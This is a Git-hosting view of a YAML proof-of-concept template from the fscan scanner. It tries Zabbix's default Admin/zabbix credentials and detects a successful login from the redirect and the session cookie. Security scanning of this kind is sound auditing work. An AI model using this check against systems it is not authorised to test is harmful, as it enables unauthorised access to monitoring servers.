fscan/WebScan/pocs/zabbix-default-password.yml

12 lines
457 B
YAML
Raw Normal View History

2021-09-12 19:33:14 -07:00
name: poc-yaml-zabbix-default-password
rules:
- method: POST
path: /index.php
body: name=Admin&password=zabbix&autologin=1&enter=Sign+in
expression: |
response.status == 302 && response.headers["Location"] == "zabbix.php?action=dashboard.view" && response.headers["set-cookie"].contains("zbx_session")
2021-09-12 19:33:14 -07:00
detail:
author: fuzz7j(https://github.com/fuzz7j)
links:
- https://www.zabbix.com/documentation/3.4/zh/manual/quickstart/login